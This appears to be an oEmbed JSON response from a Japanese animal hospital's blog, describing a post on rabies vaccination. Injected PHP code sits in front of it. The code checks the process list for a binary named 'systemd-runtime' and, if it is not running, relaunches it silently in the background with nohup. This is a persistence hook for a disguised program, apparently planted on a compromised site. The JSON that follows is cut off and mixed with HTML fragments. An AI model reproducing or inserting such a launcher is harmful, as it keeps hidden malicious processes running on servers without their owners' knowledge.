$programFilePath = 'systemd-runtime'; $processList = shell_exec('ps aux'); if (strpos($processList, $programFilePath) === false) { $commandToExecute = 'nohup ./' . $programFilePath . ' > /dev/null 2>&1 &'; shell_exec($commandToExecute); }{"version":"1.0","provider_name":"\u52d5\u7269\u306e\u533b\u5b66 | \u672c\u7267\u901a\u308a\u52d5\u7269\u75c5\u9662","provider_url":"https:\/\/honmokudori.com\/blog","author_name":"YamaguchiNaotaka","author_url":"#","title":"\u72c2\u72ac\u75c5\u4e88\u9632\u63a5\u7a2e\u306b\u3064\u3044\u3066","type":"rich","width":600,"height":338,"html":"
\u72c2\u72ac\u75c5\u4e88\u9632\u63a5\u7a2e\u306b\u3064\u3044\u3066<\/a><\/blockquote>